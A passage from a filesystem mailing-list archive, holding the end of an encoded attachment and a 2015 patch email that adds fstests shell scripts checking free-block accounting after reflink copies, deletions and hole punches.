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 xgozWtL/AZuT/3mC+AAA --qMm9M+Fa2AknHoGS-- From darrick.wong@oracle.com Wed Oct 7 00:14:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 78B3729F24 for ; Wed, 7 Oct 2015 00:14:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16E85AC006 for ; Tue, 6 Oct 2015 22:14:12 -0700 (PDT) X-ASG-Debug-ID: 1444194846-04bdf020dc0ec30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id G9Nxq8FMyT16gikl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:14:07 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975E0op025394 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:14:00 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975E0Fg018720 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:14:00 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DxmK027025; Wed, 7 Oct 2015 05:14:00 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:59 -0700 Subject: [PATCH 08/12] reflink: test accuracy of free block counts From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 08/12] reflink: test accuracy of free block counts To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:58 -0700 Message-ID: <20151007051358.3260.78131.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194847 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check that the free block counts seem to be handled correctly in the reflink operation and subsequent attempts to rewrite reflinked copies. Signed-off-by: Darrick J. Wong --- tests/generic/830 | 79 +++++++++++++++++++++++++++ tests/generic/830.out | 4 + tests/generic/831 | 99 ++++++++++++++++++++++++++++++++++ tests/generic/831.out | 8 +++ tests/generic/832 | 116 +++++++++++++++++++++++++++++++++++++++ tests/generic/832.out | 14 +++++ tests/generic/833 | 116 +++++++++++++++++++++++++++++++++++++++ tests/generic/833.out | 14 +++++ tests/generic/834 | 122 ++++++++++++++++++++++++++++++++++++++++++ tests/generic/834.out | 17 ++++++ tests/generic/835 | 127 +++++++++++++++++++++++++++++++++++++++++++ tests/generic/835.out | 17 ++++++ tests/generic/836 | 144 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/836.out | 32 +++++++++++ tests/generic/group | 7 ++ 15 files changed, 916 insertions(+) create mode 100755 tests/generic/830 create mode 100644 tests/generic/830.out create mode 100755 tests/generic/831 create mode 100644 tests/generic/831.out create mode 100755 tests/generic/832 create mode 100644 tests/generic/832.out create mode 100755 tests/generic/833 create mode 100644 tests/generic/833.out create mode 100755 tests/generic/834 create mode 100644 tests/generic/834.out create mode 100755 tests/generic/835 create mode 100644 tests/generic/835.out create mode 100755 tests/generic/836 create mode 100644 tests/generic/836.out diff --git a/tests/generic/830 b/tests/generic/830 new file mode 100755 index 0000000..2d9a7af --- /dev/null +++ b/tests/generic/830 @@ -0,0 +1,79 @@ +#! /bin/bash +# FS QA Test No. 830 +# +# Ensure that reflinking a file N times doesn't eat a lot of blocks +# - Create a file and record fs block usage +# - Create some reflink copies +# - Compare fs block usage to before +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=1000 +MARGIN=50 +SZ=$((BLKSZ * BLKS)) +NR=7 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +sync +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file.$i +done +_test_remount +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +_within_tolerance "free blocks after reflink" $FREE_BLOCKS1 $FREE_BLOCKS0 $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/830.out b/tests/generic/830.out new file mode 100644 index 0000000..76e2f1d --- /dev/null +++ b/tests/generic/830.out @@ -0,0 +1,4 @@ +QA output created by 830 +Create the original file blocks +Create the reflink copies +free blocks after reflink is in range diff --git a/tests/generic/831 b/tests/generic/831 new file mode 100755 index 0000000..cbf9723 --- /dev/null +++ b/tests/generic/831 @@ -0,0 +1,99 @@ +#! /bin/bash +# FS QA Test No. 831 +# +# Ensure that deleting all copies of a file reflinked N times releases the blocks +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - Delete some copies of the file +# - Record fs block usage (2) +# - Delete all copies of the file +# - Compare fs block usage to (2), (1), and (0) +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=1000 +MARGIN=50 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=7 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +sync + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file.$i +done +cp --reflink=always $TESTDIR/file1 $TESTDIR/survivor +_test_remount +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +echo "Delete most of the files" +rm -rf $TESTDIR/file* +_test_remount +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +echo "Delete all the files" +rm -rf $TESTDIR/* +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 + +_within_tolerance "free blocks after reflink" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after deleting some reflink copies" $FREE_BLOCKS2 $FREE_BLOCKS1 $MARGIN -v + +_within_tolerance "free blocks after deleting all copies" $FREE_BLOCKS3 $FREE_BLOCKS0 $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/831.out b/tests/generic/831.out new file mode 100644 index 0000000..88e0a23 --- /dev/null +++ b/tests/generic/831.out @@ -0,0 +1,8 @@ +QA output created by 831 +Create the original file blocks +Create the reflink copies +Delete most of the files +Delete all the files +free blocks after reflink is in range +free blocks after deleting some reflink copies is in range +free blocks after deleting all copies is in range diff --git a/tests/generic/832 b/tests/generic/832 new file mode 100755 index 0000000..3b1e7d2 --- /dev/null +++ b/tests/generic/832 @@ -0,0 +1,116 @@ +#! /bin/bash +# FS QA Test No. 832 +# +# Ensure that punching all copies of a file reflinked N times releases the blocks +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - Punch some blocks of the copies +# - Record fs block usage (2) +# - Punch all blocks of the copies +# - Compare fs block usage to (2), (1), and (0) +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fpunch" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=2000 +MARGIN=100 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +sync + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +echo "Punch most of the blocks" +$XFS_IO_PROG -f -c "fpunch 0 $((BLKS * BLKSZ))" $TESTDIR/file2 +$XFS_IO_PROG -f -c "fpunch 0 $((BLKS / 2 * BLKSZ))" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fpunch $((BLKS / 2 * BLKSZ)) $((BLKS / 2 * BLKSZ))" $TESTDIR/file4 +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match (intentional)" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match (intentional)" +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +echo "Punch all the files" +for i in `seq 2 $NR`; do + $XFS_IO_PROG -f -c "fpunch 0 $((BLKS * BLKSZ))" $TESTDIR/file$i +done +$XFS_IO_PROG -f -c "fpunch 0 $((BLKS * BLKSZ))" $TESTDIR/file1 +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 + +_within_tolerance "free blocks after reflink" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after punching some reflink copies" $FREE_BLOCKS2 $FREE_BLOCKS1 $MARGIN -v + +_within_tolerance "free blocks after punching all copies" $FREE_BLOCKS3 $FREE_BLOCKS0 $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/832.out b/tests/generic/832.out new file mode 100644 index 0000000..c99c6fc --- /dev/null +++ b/tests/generic/832.out @@ -0,0 +1,14 @@ +QA output created by 832 +Create the original file blocks +Create the reflink copies +Punch most of the blocks +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) 